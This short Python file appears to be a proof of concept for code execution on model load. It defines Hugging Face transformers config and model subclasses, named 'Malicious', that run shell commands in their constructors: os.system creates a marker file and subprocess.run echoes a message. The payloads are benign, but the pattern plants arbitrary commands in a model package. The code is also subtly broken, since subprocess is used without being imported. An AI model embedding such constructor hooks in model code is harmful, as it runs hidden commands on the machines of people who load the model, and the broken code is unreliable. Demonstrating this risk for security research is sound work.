| import os |
| from transformers import PreTrainedModel, PretrainedConfig |
| |
| class MaliciousConfig(PretrainedConfig): |
| model_type = "llama" |
| |
| def __init__(self, **kwargs): |
| |
| os.system("touch hack.txt") |
| super().__init__(**kwargs) |
| |
| class MaliciousModel(PreTrainedModel): |
| config_class = MaliciousConfig |
| |
| def __init__(self, config): |
| super().__init__(config) |
| |
| subprocess.run(["echo", "Malicious model loaded"]) |
| |
| @classmethod |
| def register_for_auto_class(cls, auto_class="AutoModelForCausalLM"): |
| """实现必需的注册方法""" |
| return cls |
| |
| def forward(self, *args, **kwargs): |
| |
| return None |
